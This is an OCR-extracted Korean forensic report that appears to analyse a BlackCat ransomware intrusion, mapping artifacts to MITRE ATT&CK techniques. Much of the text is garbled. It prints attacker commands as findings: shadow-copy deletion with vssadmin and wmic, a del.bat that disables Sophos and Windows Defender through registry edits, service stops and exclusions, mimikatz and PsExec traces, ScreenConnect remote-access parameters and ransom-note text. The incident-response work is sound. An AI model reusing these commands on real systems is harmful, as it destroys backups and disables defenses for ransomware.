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= BlackCat H#H% B =H S 0|s

- HERON 215 Al

Ol
o
40
el

>

M 1129| Access Token 2f 2 &

USAGE:
[OPTIONS] [SUBCOMMAND]
= —
S H F g HM 215
.——access-token <ACCESS_TOKEN> Access Token
--bypass <BYPASS>...
--child Run as child process 1 )ciH|:§-35§§ -
--drag-and-drop Invoked with drag and drop
--drop-drag-and-drop-target Drop drag and drop target batch . .
o p-drag p-targ p drag p targ ) =2 Tl Ay vssadmin.exe delete shadows /all /quiet
--extra-verbose Log more to console == = wmic.exe Shadowcopy Delete
-h, --help Print help information
--log-file <LOG_FILE> Enable logging to specified file . wmic csproduct get UUID
--no-net Do not discover network shares 3 *lﬁEé! ;SIE %!% p _ g
on Windows arp-a
-=-Nno-prop Do not self propagate(worm) on
Windows HIKIAEZ| 2} A A|CH &2 0424 A A
--no-prop-servers <NO_PROP_SERVERS>... Do not propagate to defined 4 ﬂ l__ | Ao | H 'Io =T To
servers
--no-vm-kill Do not stop VMs on ESXi L
--no-vm-kill-names <NO_VM_KILL_NAMES>... Do not stop defined VMs on ESXi 5 (.)_I'El E?_l&! 7|3 OluﬂE =271 &fx'”
--no-vm-snapshot-kill Do not wipe VMs snapshots on
ESXi N
--no-wall Do not update desktop wallpaper 6 Xl_jl_ 7:‘|11|' SMB, NetBIOS% *l‘-g-OH XI'DI' xl_'illf
on; Windows = Ex) psexec.exe
-p, --paths <PATHS>... Only process files inside
defined paths N .
--propagated Run as propagated process 7 Hot M5 UAC 22|, Masquerade_PEB, CVE-2016-0099

--ui Show user interface
-v, --verbose Log to console

Find truth, Seek Justice. 10
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o

O

o d

logdesc="SSL VPN exit error" action="ssl-exit-error" tunneltype="ss!" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="DH lib" msg="SSL
exiterror"

logdesc="SSL VPN exit error" action="ssl-exit-error" tunneltype="ss!" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="DH lib" msg="SSL
exit error"

logdesc="SSL VPN new connection" action="ssl-new-con" tunneltype="ssl" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="N/A" msg="SSL
new connection”

logdesc="SSL VPN tunnel up" action="tunnel-up" tunneltype="ssl-web" tunnelid=860146676 remip=XXX XXX XXX XXX user="hault" group="SSLVPN" dst_host="N/A"
reason="login successfully" msg="SSL tunnel established"

logdesc="SSL VPN exit error" action="ssl-exit-error" tunneltype="ss!" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="DH lib" msg="SSL
exiterror"

logdesc="SSL VPN new connection" action="ssl-new-con" tunneltype="ssl" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="N/A" msg="SSL
new connection”

logdesc="SSL VPN tunnel up" action="tunnel-up" tunneltype="ssl-web" tunnelid=860146677 remip=XXX XXX XXX XXX user="hault" group="SSLVPN" dst_host="N/A"
reason="login successfully" msg="SSL tunnel established"

logdesc="SSL VPN new connection" action="ssl-new-con" tunneltype="ssl" tunnelid=0 remip=XXX XXX XXX XXX user="N/A" group="N/A" dst_host="N/A" reason="N/A" msg="SSL
new connection"

logdesc="SSL VPN tunnel up" action="tunnel-up" tunneltype="ssl-tunnel" tunnelid=860146677 remip=XXX XXX XXX XXX tunnelip=XXX XXX XXX XXX user="hault"
group="SSLVPN" dst_host="N/A" reason="tunnel established" msg="SSL tunnel established"

logdesc="SSL VPN tunnel down" action="tunnel-down" tunneltype="ssl-web" tunnelid=860146676 remip=XXX XXX XXX XXX user="hault" group="SSLVPN" dst_host="N/A"
reason="tunnel connection setup timeout" duration=33 sentbyte=0 rcvdbyte=0 msg="SSL tunnel shutdown"

logdesc="SSL VPN statistics" action="tunnel-stats" tunneltype="ssl-tunnel" tunnelid=860146677 remip=XXXXXX XXX XXX tunnelip=XXX XXX XXX XXX user="hault"

group="SSLVPN" dst_host="N/A" nextstat=600 duration=601 sentbyte=37399717 rcvdbyte=5101995 msg="SSL tunnel statistics"
(0l 4424
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» Credential Access - OS Credential Dumping: LSASS Memory(T1003.001)

C o s

Find truth, Seek Justice.

AD =02 HIH EbF

C:¥fUsersi AdministratorfDownloads 1 fneto4. exe

Mirrnenft Wlind e BamatoDocktan

Program Name Run Counter l Focus Count | Focus Time Last Executed
aflc = £ oflc =
Kaspersky Lab.KAV.Toasts 0 1 0d, Oh, 00m, 04s
C:tUserstAdministratortDownloadsYWPR (old WPR (old)hwpr.exe il 3 0d, 0h, 00m, 415 2022-06-13 12:25:40
C:tUsersAdministratorDownloadsYiknvekgt.exe 3 4 0d, 0h, 02m, 015 2022-06-13 12:34:10
C:#UserstAdministratorDownloadsWxed Wmimikatz.exe g 1 0d, Oh, 00m, 125 2022-06-13 12:35:24
2
=

32| 0d, Oh, 44m, 525
46 0d 1h 28m 1dc

2022-06-13 12:50:07

2022 068,15 1811 -4

(A EF =T AEO0IH ]

:Path - TjTar*get Created
.}EEadministrator\downloads\ -

C:\Users‘\Administrator\Downloads\1 2822-86-13 12
C:\Users\Administrator\Downloads\1\ips.txt 2022-06-13 15
C:\Users\Administrator\Downloads\1\ips2.txt 2922-06-13 16:
C:\Usersh\Administrator\Downloads\2 2022-06-13 18
C:\Users\Administrator\Downloads\2\ips.txt 2022-06-13 18
C:\Users\Administrator\Downloads\2\1.txt 2022-06-13 18:
C:\Users\Administrator\Downloads\2\p.txt 2022-06-13 18

:46:
2akEE
14:
B2
14 :
05:
=B5:

2822-06-13
2022-86-13
2822-06-13
2822-86-13
2822-06-13
2022-86-13
2822-06-13

1.5
S
el
13z
f35=
18:
18:

Target Modified

A3
3 B
14:
04:
04 :
5
85:

a7
a9
42
46
45
a6
18

2022-06-13
20822-86-13
2022-06-13
2022-06-13
2022-06-13
2822-86-13
2022-06-13

dls
15:
16:
18:
18:
18:
18:

.Target Accessed

13

a5

=47
5=
e
04:
e4:
a5
:18

09
42
46
45
a6

[AEBEEAE]
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= (Collection - Network Device Configuration Dump(T1602.002)

¢ HEI HE AT WOk AM T A

| Program Narme
afc down
CrittUsersiAdministratorDownloadsil W PsExeco4.exe

| CtUserstAdministratorDownloads#WPR (oldy#WPR
| (old)¥wpr.exe

| C:#tUsers AdministratorDownload siiknvekagt.exe
| C:4UsersttAdministratorf DownloadsthE4 mimikatz. exe

[ Last Executed

2022-06-13 12:25:40

2022-06-13 12:34:10
2022-06-13 12:35:24

'|C:WUsers'v\*.-\dministmtor'v‘v‘Do'.'.rnloads‘v\*an et exe

2022-06-13 12:50:07 I

L| et 1carsitts dminicratnr®Nownlnadet Woldar hat

2022-06-13 18:14-43

[ AZH =2 netb4.exe AR O |

Find truth, Seek Justice.

e
<checked>false</checked>
<name=MNpouecc Windows Explorer</name>
<query>\Process{explorer)\ID Process</query>
<fitem:=
<item>
<checked>false</checked>
<name>Cnucok W ID npoyeccoB</names
=query>\Process(*)\ID Process</query>
</item >
<item=
<checked>false</checked>
<name>3arpyzka UM, Yo </name>
<query>\Processor(_Total)\% Processor Time</query>
</item>
<item:
«checked>false </checked>
<name>Yncno 2agaHmii NpuHTepa</name:
<query>\Print Queue(*)\Jobs</query>
</item>
<item=
<checked>false</checked>
<name>MNonoca ceteBoro nurepdenca</name>
<query>\Network Interface(*)\Current Bandwidth</query>
<fitem>

</performance>
- <scripting>

<item=
<checked>false</checked>
<name>Cnucok dainos</name>
<lang>0</lang>
<scripts'List files in Windows 'Input parameters strComputer =
Input.Current 'List files with WMI Set objWwMIService =
GetObject("winmgmts:" _ &
"{impersonationLevel personate}!\\" & strComputer &
"\root\cimv2") Set colFiles = objWMIService. _ ExecQuery
("select * from CIM_DataFile where Path = "\\Windows\\'")
For Each objFile in colFiles Output.Write objFile.Name
Next</script>
</item>

@ PLAIN3IT

<fitem>
<item>
<checked>false</checked>
<name>Windows Explorer process ID</name>
<query>\Process(explorer)\ID Process</query>
<fitem>
<item>
<checked>false</checked>
<name>List of processes and their ID</name>
<query>\Process(*)\ID Process</query=>
<fitem>
<item>
<checked>false </checked>
<name>CPU Usage, % </name>
<query>\Processor(_Total)\% Processor Time</query>
<fitem>
<item:>
<checked>false</checked>
<name>Number of queued print jobs</name>
<query>\Print Queue(*)\Jobs</query>
<fitem>
<item>
<checked>false</checked>
<name>Network interface bandwidth</name>
<query>\Network Interface(*)\Current Bandwidth</query=
<fitem>

</performance>
- <scripting>

<item:
<checked>false</checked>
<namez>File list</name>
<lang>0</lang>
<script>'List files in Windows 'Input parameters strComputer =
Input.Current ‘List files with WMI Set objWMIService =
GetObject("winmgm _&
"{impersonationLewv: personate}!\\" & strComputer &
"\root\cimv2") Set colFiles = objWMIService. _ ExecQuery
("select * from CIM_DataFile where Path = "\\Windows\\'")
For Each obijFile in colFiles Output.Write objFile.Name
Next</script>
<fitem>

[ KIBH AF(A) net64 A I ]

[ &S AFTL(B) net64 A& I ]
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» |ateral Movement - SMB/Windows Admin Shares (T1021.002)

« HEI ZE 7Y

3HEY

fot rE

1 ADFind.exe
2 net64.exe HEQF A?

3 NetworkShare_pre2.exe

Cha-o AH E 7S AR

ActiveDirectory

L

—

st L 0|5

=

o

A7H, GPO AZH
QB0 A

HERZ AN

@ 2022-06-10700:33:53.3. security 448 BAH AA E32 AN 2128 ATRLLD,
® m2-06-14700: 3429, Security 4548 BA XE ZTE M2el 2122 AERSUD,
© -06-1000:34:8 .0 Security 4648 BNE BE 532 NERH 2122 ARFEUD,
@ 2022-06-14T81:34:43.1. Security 4548 SAE T Z32 4250 2188 ARR2UD,
® 2002-06-14700: 08,7, Security 4548 BAE RE 222 A2e 2128 ALESUD, v
© 2022-06-10701:30:08.5. security 4648 BAR X ZZE 495 2128 ACHALD. -
© 202-06-14700:38:48.5. Security 4648 HAE BE 5%E Age 2108 AEFeUD. 5
rentData.Processhame (509): C:\Users\Adninistrator\Downloads\1\PsExectd. exe
© 2022-06-14700:18:02.7. Security 4548 FAR TE STE M2el E122 AEREUD,
© 202-26-1470:18:04 2. Security 4648 BAZ BE 532 AES0 2128 AEFEUD,
@ 2022-05-14700:18:06.2. security 14648 BAE RE 532 4250 2122 ALH2UD.
© 202-06-14700:18:07 4. Security %48 BAE TE S32 4856 2128 AEREUD,
@ 2002-06-10700:18:08.4. Security 448 BAE TE SB2 4256 2122 ACHAUD. ;
® 2022-06-14700:18:09.0. Security 4648 AR 1H 225 Age0 B12s AEFEUD
© 2022-06-14700: 18:11. 1. Security 4548 TAR XH 202 4250 2195 AT,
@ 2022-06-14700:18:02.5. security 14548 BAH BH ZTE M250 2125 AERAUD,

C:\Users\Adninistrator\Dounloads\1\net64 exe
C:\Users\Adninistrator\Dounloads\1\net64 exe
C:\Users\Adninistrator\Dounloads\1\net64. exe
C:\Users\Adnini strator\Dounloads \1\net64 . exe
C:\Users\Adninistrator\Dounloads\\net64.exe
C:\Users\Administrator\Dounloads\1\net64 exe
C:\Users\Adninistrator\Dounloads\1\net64.exe

C:\Users\Administrator\Dounloads\1\ PeExeced  exe
C:\Users\Administrator\Dounloads\1\PsExect.exe
C:\Users\Administrator\Dounloads\1\ PsExeced. exe
C:\Users\Adninistrator\Dounloads\1\PsExect4.exe
C:\Users\Admini strator\Dounloads\1\ PsExectd. exe
C:\Users\Admini strator\Dounloads\1\PeExectd. exe
C:\Users\Adninistrator\Downloads\1\PsExect.exe
C:\Users\Administrator\Dounloads\1\PsExeced  exe

Find truth, Seek Justice.
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T
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» Persistence - Scheduled Task/Job(T1053)

o Y AHESS AFESH Y ¥4 T2 3 (ScreenConnect) EX|

T T

lse Parent Path File Name
= ol tasks "B screen
v . \Windows\Tasks screen.exe
[~ A\Windows\System3/™ L s e
W screenexe 24 X

Qo =stg OXEMT D aph 29 Kgs| OF HE

Mz 8=
MEBR 02 CORAE 2. EYsmE
ConnectWise |LLC sha256 20223 58 179

[ X8 23S S5 0[]

Timestamp Channel EwventlD EventD: EventData.TargetUse Summary
@ 2022-95-15Te8: 88:59.5574800 Security 4624 4 administrator ARO EFHLE EA25USLIC
@ 2022-85-15T@1:0@:59.5587861 Security 4624 4 administrator AEO 3HL= 2A25SELT
@ 2022-86-15Te2:08:59.6159373 Security 4624 4 administrator ARO S4IHLE EA2SAUSLICH
@ 2022-85-15T03:00:59.3149679 Security 4524 4 administrator AZO d3HLeE EO2ERAEULH
@ 2822-96-15T84:8@:59 5834322 Security 4524 4 administrator HEO Mooz ZO25SUSLCH
@ 2022-86-15T05:20:55.7318455 security 4624 4 administrator HEO HdnEoz 22fdiatnt
@ 2022-86-15T06: 00:59.9499898 Security 4624 4 administrator AEO 43HeE EA25SELT
@ 2022-95-15Ta7:00:59.1480301 Security 4524 4 administrator AR dSEHEE EO2EASLDH
@ 2022-85-15Te5:00:59.3323838 Security 4624 4 administrator AEO E3HL= ZA2LSELT
@ 2022-95-15Teg: 08:59. 1468647 Security 4624 4 administrator ARO 4IHSE EA2LASLIC
@ 2022-85-15T10:00:59.1265594 Security 4624 4 administrator AEO 43Fo= EA25SsLT
0 2822-86-15T11:88:59.3260416 Security 4624 4 administrator HEO| Mooz =2O25USLICH
[HY AAHES 018820010/ ]

Find truth, Seek Justice. 17
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» Persistence - Scheduled Task/Job(T1053)

rio

A ™% Z=0"-(ScreenConnect)S ARESH =HQ! 22Xt AF L = AH HESH= A Y 23= O[HIE

rir

AYO0| dsH 2 2 125 SLIC,
H:
HOoHD: S-1-5-18
HHO|Z: HOST_A$%
A™ =0l DOMAIN
ZEI21D: Ox3E7
EIL2 QY 4
RS oS
MEILZ:
HOoHD: S-1-5-21-1085031214-(5 2+ A2H-500
AE0|E: administrator
A™ =0l DOMAIN
Z2I21D: Ox6C983CA
ZE2GUID: {829d514f-75be-9b2a-7914-eb352e2a57fe}
OIEMAHEE:
OTZMAID: 0x140
IZMAO|E: C:WWindowsWSystem32¥svchost.exe
0|5} AH2F

Find truth, Seek Justice.
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=  Command and Control - Remote Access Software(T1219)

rio

4 F& T2 3M(ScreenConnect)2 AHESE 2t2[Xt A Reverse Connection ‘45

A 2RO AMB[ AT ZX|Z| RS LI

MH|A O|2: ScreenConnect Client (64b809f0****)

AH|A Y O|&: "C:WProgram Files (x86)¥WScreenConnect Client
(64b809f03e7ee623)WScreenConnect.ClientService.exe"

"?e=Access&y=Guest&h=instance-cirigy-
XXX.screenconnect.com&p=443&s=520d306d-0107-4f9c-ade2-
(0|5142hH &k=BgIAAACKAABSUOEXAAQAAAEA

AQCpUxcBgpXCfG142Ltj1/yzENtvFB2woXW]jZHqVXgzEqk7K602xR
VaXgBJzHb5RtysbBXfwkhzQtkXoclhT1HbpuMM5aHhb45kZUhsmT9
veyTWsXnbnn/s47VdQ2DJIzQZnr81AtZbToB 2 sw85xGWQp0

JYHHCjZCFE4QhR2GPYDL/uwHtIFVIszZTdTSEF 1RIAyy5dJpi/2R0sj5xN

X3x4 Tx/CYmgOPqSrOWdsSjr4moyvgm64/NJrfd49/5vTIGy 3jEUisf/
66QuCzR8Hfk900Z50v1ScKQIXMWFVSJZXi/t2P
Z2UQx06cD9yjZWmXh9VhvoD

X1zZ9n4gLjT&t=&C=&C=&C=&C=&C=&C=&C=&C="
AHIA §¥: user mode service
MH|A A2 Q™ quto start

MH|A AIE: LocalSystem

HS Parameter 2=,
1 64b809fQ***** * Public key thumbprint
_ o MlMA EFY
2 e=Access ex) Access, Meet, Support
_ c TEMA EFY
3 y=Guest ex) Guest, Host
h=instance-cirigy- 9 A
4 XXX.screenconnect.com 22 Ae URL
5 p=443 « A MH Port
$=520d306d-0107-4f9c-ade2- .
6 (05442 * Client GUID
k=BglAAACKAABSU ey
’ (015t 4= st
8 t= « M| 0|&
9 c= e Client &

Find truth, Seek Justice.
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=  Command and Control - Remote Access Software(T1219)

rio

4 F& T2 3M(ScreenConnect)2 AHESE 2t2[Xt A Reverse Connection ‘45

Find truth, Seek Justice.

Timestamp * Channel BventlD  EventCz Summary EventDatz Targetl: BventDatal
@ 2022-86-15723:29: 40, 0000090 Application 1040 Windows Installer EH®A AT Z: (o\indons\TENP setup.nsi, SEh C:\itindows\TENP\setup.msi
O -6 5T3:040. 750 Seaurity 44 5 ARN 4ZFOE RR2ENEU0, SYSTEY
0T meINn  Searity 40 £& 332 4 2120 2oRelD
O on-06-1573:09:00.80571%  Application 10900 0 - 2022-86-15T14:20:40.8457706007 H41E ARsle UL
@2922-66-15T23:29:43.8@8%% dpplication 11767 Product: ScreenConnect (lient (64b8A3:83e7eesdd) -- Installation. Product: ScreenConnect (lient (64b8A3fd3e7ee613) -..
O 2802-85-15723:29:43. 000nea Bpplication 1633 Windows Installerl|d HE2 SXEELL, A 02: screentonnect. ScreenComnect Client (640809703¢7¢e623)
Ei 2022-06-15723:29:43. 000000 Application 1042 Windows Installer EH®A 22 Z: (o\indons\TENP setup.mei, SEh C: \Mindous\ TENP\setup.nsi
O en-os-1B:0.0006  Agplication  lo0al 9 - 2022-06-15T14:29:40.8457796007 45 Ele FUUL,
@ 1022-36-15T23:29:56. 0000000 Application @ Unable to retrieve the event description | (Toud Account Administrator Connected
O m2-06-15T3:30:08. 36480 Security 4648 DA N %2 MEGH 2122 AEFELD, adninistrator
O o-o6-15TB0:08 3600 Searity MM 2 | AR0] HZHOE 2IRHALID, adninistrator
O mn-e1nonis e Serity 472 £ A32 4 E120) 259840
(9424 T4 TRIUS AR 2001 4T 0/2] ]

@ PLAIN3IT
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=  Command and Control - Remote Access Software(T1219)

rio

4 F& T2 3M(ScreenConnect)2 AHESE 2t2[Xt A Reverse Connection ‘45

HHo| HEBXoz 2 E|YUSLC

A
HOHD: 5-1-5-18
A 0|E: HOST B$
A el DOMAIN
2321D: Ox3E7

228 2

MEIR2
A O|E: administrator
AE el DOMAIN
0x3CD9504

Exdie =

HESI ZE:
QI AE|0[M0|E: HOST B
EHEYIFA: 127.0.01
SIELE: 0

Find truth, Seek Justice. 21
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rio

-1 -/

Find truth, Seek Justice.

AX™Ma=T=z2T

Command and Control - Ingress Tool Transfer(T1105)

(ScreenConnect)S A3t 224 =31 A

Timestamp * Channel ProviderName EventDatal
@ 2021-87-89719:45:47.0.. Application  ScreenConnect Client (3eacalaf358d8485)  Transferred files with action 'Transfer':
@ 2022-97-89723:01:38.0.. Application  ScreenComnect Client (3eacalafd58d8485)  Transferred files with action 'Transfer':
@ 2022-87-89723:12:53.0.. Application  ScreenConnect Client (3eacalafd58d8485)  Transferred files with action 'Transfer':
@ 2022-97-10701:56:25.0.. Application  ScreenComnect Client (3eacalafd58d8485)  Transferred files with action 'Transfer':
k=t Y2E o 75

1 PuttyPotable, WinSCP potable HAFS =

2 Ao 24 oY -

3 |.zip AE HE oty

4 X64.zip DT2MA DLEZ ER

5 uvs_v412eng.zip HAE HE Y H =7

6 HE@H AX| T2 T7=H

22
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Mitre Att&ck & 229 M Atz

» Persistence - SSH Authorized Keys(T1098.004)

I-J

SAXFC2 MH B! LHE 2F HZ2 2 219t SSH Host Key S5

[HKEY_CURRENT_USERWSoftware#wSimonTatham]

[HKEY_CURRENT_USERWWSoftwareWSimonTathamWPuTTY]
"RandSeedFile"="C:WWUsersWW[AtE Xt |WWDocuments i
ConnectWiseControlWWwFilesWWWPuTTYPortableWWDataWWsettingsW
PUTTY.RND"

[HKEY_CURRENT_USERWSoftwareWSimonTathamWPuTTYWSshHostKey

s]

"ssh-ed25519@22:xxX. XxX.XxX.xxX"="0x652f0e... A4 ="

"rsa2@22: XXX XXX XXX.XXX"="0x23,0xd1874961.. AH=F"
"ssh-ed255T9@2 2 :XXX.XXX.XXX.XXX"= "0x5aa8759d46e1 2k
"ssh-ed255T9@22:XXX.XXX.XXX.XXX"="0x7364e81f1 ...*OHE.F"
"ssh-ed25519@ 22 : XXX XXX XXX.XXX"="0x23d70... A4 2"

(O[5 4=

[Configuration]
JumpListWorkspaces="MyWWorkspace"

[SshHostKeys]
ssh-ed25519@22:xXX.XXX.XxxX.xxx=0x652f0e6b... 4=
rsa2@22:xxx.XxX.xxx.xxx=0x23,0xd 187496157 26fc6f.. H=f
ssh-ed25519@22:XXX.XXX.XXX.xxx=0x6b62cff14a.. A4=F
ssh-ed25519@22:xXX.XXX.XXX.xxx=0x2c7cd3bc16cc05.. A2k
ssh-ed25519@22:XXX.XXX.XXX.XxX=0x64334609980... 4=
ssh-ed25519@22:XXX.XXX.XXX.xxx=0x324fcc9efO.. A4 =k
ssh-ed25519@22:xXX.XXX.XXX.xxx=0x5aa8759d46e14... A=k

(O[5t 4=

[ putty.reg]

Find truth, Seek Justice.

[ WIinSCP.ini ]
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» Defense Evasion - Impair Defenses (T1562)

C A 2B} A
ot Ol & A= SHA-1
del.bat sophos 82X H|gHdot AFZE 5FCFO5CD99BB27F8FBB4BD3B458EDF8AF6EB2C54
def1.bat Windows Defender H|2Hd3t AT ZIE 373609C0OF30EE313FDOCC6C4ES72452483D87244
dControl.exe Windows Defender &A|2t EFX| H|2Hd 5} CB704D2E8DF80FD3500A5B817966DC262D80DDBS
° HH A|

Al 2245 AT E (del.bat) 7|5 ot

1. Registry key =&

"HKLMWSYSTEMWCurrentControlSetWservicesWSAVService" /t REG_DWORD /v Start /d 0x00000004 /f
"HKLMWSYSTEMW CurrentControlSetWServiceswSophos MCS Agent" /t REG_DWORD /v Start /d 0x00000004 /f
"HKLMWSYSTEMW CurrentControlSet#Services¥wSophos Endpoint DefenseWTamperProtection¥Config" /t
REG_DWORD /v SAVEnabled /d O /f

(0[5t A42f)

=

Find truth, Seek Justice.
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Mitre Att&ck & 524 2 Al
» Defense Evasion - Impair Defenses (T1562)
+ A 225} AS2E (delbat) 7|5 Ti%}
2. MHIA BR % A T2 AR
o ATEHELHE L&
net stop "SAVService"
net stop "Sophos AutoUpdate Service"
2 ESIREY WAl T2 SR
NET STOP "Sophos WEB INTELLIGENCE UPDATE"
NET STOP "Sophos WEB CONTROL SERVICE"
MsiExec.exe /gn /X{7CD26A0C-9B59-4E84-B5EE-B386B2F7AA16} REBOOT=ReallySuppress
MsiExec.exe /gn /X{GUID} REBOOT=ReallySuppress
(F2H 42
3 HBHAl I 2 720 ALK

C:#WINDOWSWSYSTEM32¥MsiExec.exe /X{66967E5F-43E8-4402-87A4-04685EE5C2CB} /gn
REBOOT=SUPPRESS
C:#WINDOWSWSYSTEM32¥MsiExec.exe /X{AFBCATB9-496C-4AE6-98AE-3EATCFF65C54} /qn

REBOOT=SUPPRESS

Find truth, Seek Justice.
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A3YE L

L&

reg delete "HKLMW Software¥Policies#WMicrosoftwWindows Defender" /f
reg add "HKLMWSoftwareWPoliciesWMicrosoftwWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM#SoftwareWPoliciesWMicrosoftwWindows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

(O3t -4=f)

Windows Defender
7| HlE gt

schtasks /Change /TN "MicrosoftWWindowsWExploitGuard¥ExploitGuard MDM policy Refresh” /Disable
schtasks /Change /TN "Microsoft#WWindows¥WWindows Defender#wWindows Defender Cache Maintenance" /Disable
schtasks /Change /TN "Microsoft#WWindowsWWindows Defender#wWindows Defender Cleanup” /Disable

([t 4421)

=

powershell.exe -noprofile -command Add-MpPreference -ExclusionPath "C:W
powershell.exe -noprofile -command Add-MpPreference -ExclusionPath "D:#
powershell.exe -noprofile -command Add-MpPreference -ExclusionPath "E:#

(o[t 4421)

=

Windows Defender
oMz EH S5

Find truth, Seek Justice.
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AeArD 2

» |mpact - System ShutDown/Reboot(T1529)

+ vShere Zt2|X} HO|X| 2 3 Jh4 014l UH| B2

Find truth, Seek Justice.

Timestamp Channel EventlD Processld  Summary

@ 2002-07-10700:05:26.948.. Systen 7036 £52 World Wide Web Publishing Service MHIA7H EX 4HE S0IRSLIL,

@ 2021-07-1676A:85:28.354.. Systen 7036 652 Windows Process Activation Service AH[27t ZX| MEZE MU,

@ 2022-07-10700:05:28.417.. Systen 109 564 Ag BH BYRH EE HES AAFEUD

[ @ 2222-27-10700:25:33,289. Systen 13 4 S WA ALE ATt 2022-67-80715:05:33. 28053820070 ZEEUL, |
t& 2022-87-12T64:35:44,604.. 4 EventTrace_Header{Buffersize=4496,Version=83952398, Provideryersion=060@, NumberQfPri
il |& 2022-87-12T64:35:44,604.. 4 EventTrace Header{BufferSize=4496,Version=83952398, Provideryerzion=0600, Number(fPri

@ 2022-07-12704:35:44.720., Systen 12 4 25 7 AAS A7 2022-87-11719:35:44. 40576460020 AI&*H%&'—IEE‘J

@ 2002-07-12704:35:44.710.. Systen 0 4 OiRS ZE9 43 ¥HE truedld, DN 229 43 AHE truelLD,

@ 2022-27-12764:35:44.710. Systen u 4 £2 RE2 molll.

@ 2002-07-12704:35:44.710., Systen 18 4 0 A2A0E sari £2 240 el

REEENEEERY

@ PLAIN3IT
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» |mpact - Data Encrypted for Impact(T1486)

« LG9 AN Z2a

Find truth, Seek Justice.

2H

O

= AtEch B0 Th HHE

Ho T SHA-1
1 ProcessHacker.exe B1245A665C841A3E6ABGFI959A705F2023
2 PsExecb4.exe 9321C107D1F7E336CDA550A2BF049108
3 uvs_snd.exe 33B8F855D1F75EFD08388C3BA82873B8
4 zagent.exe B2A14C98F322C8D7E6F96C28039CF86F20EAOBGD

Id = {A1CD76B6-CF43-45E3-BA89-78DF952BD093}, ClientMachine = [ AEH], At Xt
= NT AUTHORITYWSYSTEM, ClientProcessld = 2352, 14 24 = Provider,

e = Start IWbemServices::ExecMethod - ROOTWMicrosoft#WwWindows¥wSmb :
MSFT_SmbShare::FireShareChangeEvent, ResultCode = 0x80041007, PossibleCause =

Unknown

[AHIASE A% ]
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» |mpact - Data Encrypted for Impact(T1486)

M LLE AH

« Y oot 5l Ehy 3

&
ox

v 2 L E : RECOVER-[#1 ZH&X}]-FILES. txt

Event Time(UTE+5) |[Fvan e Path TIFile Size Is Directury |Has Ads [Is Ads |Createdexid
o ° < o o - . e 5 =
76 2822-87-18 82:
58 . oF Mon-Recident File Data Runsfin Volume) AProgras Files\Autodesk\DWG TrueView 2020 - English\Fonts syastro.shi, erBkisl 7109 1996-11-21 13:51:12
-,m_l;-.\n 87-10 82:17:04 R VL ITnd » ValITnd AProgram Files\Autodesk\DWG TrueView 2828 - English\Fonts symap, shx, erikisz 8417 1996-11-21 13:51:16
35 2022-97-10 092:17:04 F .'\I‘Fﬂgrin Files\Autodesk\DWG TrusVisw 2000 }Hz'll(h\_i ents iyuz!h.ih!.lrxkig) 6338 1996-11-21 1%:51:29
71 | R VaCI04 JAProgras Files\Autodesk\DWG TrueView 2020 - English\Fonts symeteo, shx,erfkif2 5352 1996-11-21 13:51:24
A0 8010 B ITBHE \Progras Files\Autodesk\DWG TrueView 7820 - English\Fonts  symusic.shx.erBhis2 1z 1996-11-21 13:51:26
.;:':|wu-('.'-w TR :.-runxrg Il]--. T T Ermp——— AProgras Files\Autodesk\DWG TrueView 2829 - Emglish\Fonts chineset . shx. er8kig2 665385 1997-11-18 23:36:24
:1} 20278718 82:17:084 File kK, +\Progras Files\Autodesk\DWG TrueView 2020 - Emglish\Fonts whgdtxt, shx,erBkid2 223567 1998-01-24 22:25:22
27 2022-97-10 92:17:04 File Creation RECOVER -vzmoonSn-FILES . txt +\Frogras Files\Autodesk\DMWG TrusView 2020 - Ing'li:n'-_ibﬂk( nhgt!l‘.(hx.lrlﬂciﬂ) Jerfkisg 196337 1998-81-34 33:35:316
>> What happened? >> What happened?
Important files on your network was ENCRYPTED and now they have "vzmxn5n" extension. Important files on your network was ENCRYPTED and now they have “er8ki82" extension.
In order to recover your files you need to follow instructions below. In order to recover your files you need to follow instructions below.
>> Sensitive Data >> Sensitive Data
Sensitive data on your network was DOWNLOADED. Sensitive data on your network was DOWNLOADED.
If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly. If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly.
Data includes: Data includes:
- Employees personal data, CVs, DL, SSN. - Employees personal data, CVs, DL, SSN.
- Complete network map including credentials for local and remote services. - Complete network map including credentials for local and remote services.

Find truth, Seek Justice. 29
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w|r

vssadmin.exe, wevtutil.exe, net.exe S A|

A Registry key

bk
L. O

EHHQ

f

t2| HH Z=

X1
O -

Al

7|2 Administrator AN H| &3}

=Y
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